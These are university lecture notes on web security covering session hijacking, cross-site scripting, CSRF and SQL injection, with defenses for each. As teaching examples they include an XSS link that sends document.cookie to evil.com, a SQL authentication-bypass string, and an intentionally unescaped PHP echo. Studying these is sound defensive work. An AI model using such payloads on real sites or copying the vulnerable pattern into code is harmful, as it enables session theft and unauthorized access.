CS5430 – System Security Fall 2020

Lecture 21: Web Security

May 2, 2018 *Instructor: Eleanor Birrell*

1 Web Application

The Internet plays an integral role in modern life. Typical Americans spend hours each day online[1] interacting with a variety of web applications. These applications have access to a wide range of valuable and/or sensitive information about users and their behaviors, including financial data, medical data, social interactions, and behavior patterns. Unfortunately, security vulnerabilities are still common, and web applications are the target of frequent attacks and compromises. Today's class will focus on some common attack strategies—cross-site scripting (XSS), session hijacking, cross-site request forgery (CSRF), and SQL injection (SQLi)—and how to secure a web application against (or at least mitigate) these types of attacks.

2 Session Hijacking

The most common vulnerability in modern web applications is session hijacking. Session hijacking exploits a feature the Hypertext Transfer Protocol (HTTP) over which websites are served. HTTP, by design, is stateless: a client sends a HTTP request and the server sends the corresponding HTTP response.[2] However, many applications require state in order to function, for example, an application with user accounts should remember that a particular user already logged in.

Session state is commonly implemented with HTTP cookies.[3] Cookies are small pieces of data (strings) sent by the server and stored at the client; they are associated with a particular domain and path, and the browser sends attaches the cookie to the header of all HTTP requests that match that domain and path. Cookies are extremely common because they are very useful; cookies can be used to implement stateful web applications, content personalization, and user tracking. However, adversaries with access to a session cookie can perform *session hijacking*, allowing them to log in as the user and access any resources that user can access.

[1] Various estimates say a typical user spends 3-6 hours a day on the Internet, and one study found that 27% of Americans are online "almost continuously."

[2] HTTP/1.1 introduced a keep-alive-mechanism, but that only operates at the underlying transport layer (it persists the underlying TCP connection).

[3] Other methods of maintaining session state have been used historically, for example including a session id in the URL or in a hidden form value. However, such techniques tend to be vulnerable to the same attacks as cookie hijacking and may also be vulnerable to additional attacks such as *session fixation*.

Session Side-jacking. Perhaps the most common form of session hijacking is *session side-jacking*. A web application might be vulnerable to session side-jacking if it uses SSL for login pages but not for the rest of the site after a user has authenticated. In this case, any attacker with read access to the network (e.g., an attacker in promiscuous mode sitting in the coffee shop with an unsecured wireless network) can read packets sent after authentication—including the plaintext session cookie—and can generate packets with the same session cookie. Those packets will be interpreted by the server as packets coming from an authenticated user, allowing the attacker to access any resources the victim had permissions for.

Session side-jacking has historically been common because it is easy to achieve; applications that implement side-jacking have been made available as Firefox extensions (FireSheep), Android applications (WhatsAppSniffer, DroidSheep), and Java applications (CookieCadger).

The most common strategy for mitigating session side-jacking is to always run HTTP over a secure (SSL) channel. Since 2010 (when FireSheep was released), major sites have started allowing users to opt-in to always using SSL or just adopting SSL by default; as of March 2017, 18.9% of the top 10,000 sites have adopted SSL by default. More recently, Google announced plans to have its Chrome browser label all unencrypted websites as insecure.

Cookie Forging. If session cookies are predictable, an attacker can simply guess the session cookie and send a request with that cookie value, thereby gaining access to any resources authorized for the account that corresponds to the forged (guessed) cookie. This attack strategy has been successfully used in practice; in February 2017, Yahoo announced that 32 million accounts had been compromised by successful cookie forging. Best practice calls for using long, random numbers or strings as session ids to minimize the probability of successful cookie forging.

Malware. If an attacker can run malicious code on the client machine, they might be able to access stored browser state, including session cookies. The Chrome browser encrypts local state in an effort to mitigate this risk; however, it relies on account-based keys (e.g., the Mac OS keychain, Windows generic key, and the constant key 'peanuts' on Linux) and thus cannot protect against malware that gains user-level privileges for the account with which the cookie was created. Best practices for mitigating malware-based session hijacking simply call for securing the client machine against malware in general.

XSS. Recall that success XSS attacks allow an attacker to access data associated with the targeted origin. One type of data that is often the target of XSS attacks is the cookie storing the session id, thereby allowing an attacker to leverage an XSS vulnerability to perform session hijacking.

3 Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is one of the most common types of attacks on web applications. Although the number of XSS vulnerabilities had declined somewhat in recent years, Trustwave's 2016 Global Security Report found that as of 2015 over half of web applications were still vulnerable to XSS.

Web pages 101. To understand XSS, we should first review the basic features of a typical web page Web pages are stored on a server and displayed by a web browser; the browser is responsible for (1) loading content, (2) rendering content, and (3) handling events in each window or frame. The content of a web page is defined as structured data in HTML; this hierarchy is represented by the Domain Object Model (DOM). The browser displays the DOM according to the styles defined by the relevant HTML attributes and/or Cascading Style Sheets (CSS). The browser also handles events—events can include load events (e.g., OnLoad), temporal events, and user actions (e.g., OnClick)—by running the appropriate event handler(s), typically defined in Javascript Scripts can manipulate DOM elements, including reading and modifying elements; particular modifications can cause the browser to issue additional requests for content and/or redirect the window to a new page.

Since users often visit more than one page (and since web pages often embed content from other pages), security would be impossible with out some sort of browser-enforced isolation. In modern browsers, this isolation is defined by the *same-origin policy*. Essentially, the same-origin policy associates all data (e.g., DOM elements) and all scripts with an *origin*—defined by the triple (protocol, host, port)—and states that scripts can only access data associated with the same domain. Consider, for example, a script associated with the URL http://www.example.com/dir/page.html. A web browser, enforcing the same origin policy, would permit data access as follows:

URL	Allowed?
http://www.example.com/dir/page2.html	Yes
http://www.example.com/dir2/page3.html	Yes
https://www.example.com/dir/page.html	No
http://example.com/dir/page.html	No
http://www.evil.com/dir/page1.html	No
http://www.example.com:81/dir/page.html	No
http://www.example.com:80/dir/page.html	unspecified

Note that scripts are associated with the origin of the web page in which they run, even if they are imported from a remote site.

Strict enforcement of the same origin policy would preclude many useful features, so modern browsers allow various relaxations. Domains can be relaxed by pages that explicitly set the `document.domain` attribute, allowing different subdomains of the same

site to access each other's resources. Cross-origin network requests can use the Access-Control-Allow-Origin header, and in modern browsers, different origins can communication client-side using the PostMessage feature.

Reflected Cross-site Scripting. With this background in mind, we can now look at the simplest example of XSS: reflected cross-site scripting. Web sites are vulnerable to reflected XSS attacks if they include (un-escaped) request parameters somewhere in the returned web page For example, consider a website that provides search functionality: the URL http://www.example.com/search.php?query=q returns the results of a search for 'q' as follows:

```
<html>
<title> Search Results </title>
<body>
Results for <?php echo $_GET[term] ?>:
...
</body>
</html>
```

If an attacker can get a target user to click on the link

```
http://www.example.com/search.php?query=<script>window.open("http://evil.com
                                        ?cookie="+document.cookie)</script>
```

then the browser will execute the script (which sends document.cookie to evil.com) in the context of http://www.example.com, leaking any sensitive or valuable information contained in the site's cookies. Reflected XSS attacks can be initiated with a phishing attack or by targeting visitors to a site under its control, and can result in the leakage of valuable information, including user credentials.

Stored Cross-site Scripting. Reflected XSS attacks target only those users who can be induced to click on the malicious link. A more common, and potentially more severe, form of XSS attack is a stored cross-site scripting attacks. Stored XSS attacks occur when an attacker is able to inject a malicious script into a target server. Websites are often vulnerable to such attacks when they include user-generated content, for example comments or profile pages; any user who subsequently visits the web page with the injected code will fall victim to this attack.

Defenses. XSS attacks can be eliminated by (correctly) validating all user inputs, including URL parameters and user-defined content. XSS attacks that target user cookies can also be mitigated by designating cookies as HTTP only, thereby preventing them from being accessed by (potentially malicious) scripts. Since these defenses rely on correct application by (potentially fallible) programmers, modern web browsers are looking into new techniques for mitigating XSS attacks, including information flow analysis of

scripts (either dynamic taint tracking or static analysis) and sandboxing scripts, but these techniques are not yet in widespread deployment.

Samy. Perhaps the most famous example of an XSS attack in action was the Samy worm. Samy was a stored XSS attack targeting a vulnerability on MySpace in October 2005. Within 24 hours of its release, it had targeted over a million users, adding the string "but most of all, Samy is my hero" to their MySpace profile (along with a script to infect any MySpace users that visited that profile). More recent (and more serious) XSS attacks have targeted sites including PayPal, Wordpress, Yahoo, and Steam and stolen user account information for each site.

4 Cross-Site Request Forgery (CSRF)

The key to cross-site request forgery (CSRF) is the observation that many users remain logged in to accounts (e.g., Gmail, Facebook) even when they are not actively using a site. This means that their browser has an active session cookie for that site stored in its local state. If an attacker can force the target to issue a request to such a site, that request will be sent with a valid session cookie and will be treated as an authenticated request by the user.

CSRF attacks start when the victim visits a web page (or iframe) controlled by the attacker (this could either be a page hosted by the attacker or a page on which the attacker has successfully executed a XSS attack). The page redirects the user, instructing the browser to issue the forged request to the target server. CSRF attacks are primarily constructed with forged requests that have side effects, for example, a POST request to a bank that initiates a money transfer.

The primary defense against CSRF attacks is for the (target) server to attempt to distinguish between genuine requests (issued by a user interacting with the site) and forged requests (issued by the attacker). Techniques for achieving this include secret validation tokens (hard-to-guess strings, often derived cryptographically from session ids, that are included in the form as hidden values), referrer validation (verification that the referrer header value is a trusted and authorized site), and custom HTTP headers (taking advantage of the fact that modern browsers do not allow cross-site requests to define custom headers). CSRF attacks can also be mitigated by requiring user actions (e.g., successful CAPTCHA completion) to authorize requests with side effects.

One CSRF attack that received a lot of attention at the time occurred in September 2010. It exploited a CSRF vulnerability in Twitter to cause victims to post two tweets, the first of which propagated the worm and the second of which expressed a proclivity for goats.

5 SQL Injection

A final class of common web-based attacks is SQL injection attacks. SQL injection is an example of code injection in which the adversary exploits user-controlled inputs to change the meaning of a database command. For example, consider a web application that authenticates users by taking the user-supplied username ("me") and password ("pwd") and querying its database with

```
SELECT * FROM users WHERE username='me' AND password='pwd';
```

If an adversarial user supplies the username "you' OR 1=1; --", the database will instead interpret the query as

```
SELECT * FROM users WHERE username='you' OR 1=1;
```

thereby bypassing the intended authentication and returning all of the users in the database.

The best defense against SQL injection attacks is to always use prepared statements to construct all database queries. Prepared statements define the structure of the query, for example,

```
SELECT * FROM users WHERE username=?  AND password=?;
```

and then substitute in the provided parameters; this prevents SQL injection attacks from changing the meaning of database queries. Prepared statements are supported by all major database management systems (including MySQL,Oracle,Microsoft SQL Server, and PostgreSQL) and by standard libraries in many languages (including Java, Perl, PHP, and Python).

Alternative defenses against SQL injection include casting user-defined parameters to non-string types, validating parameters against whitelisted case statement, and escaping user-defined inputs, but these are not universally applicable and/or prone to programmer error.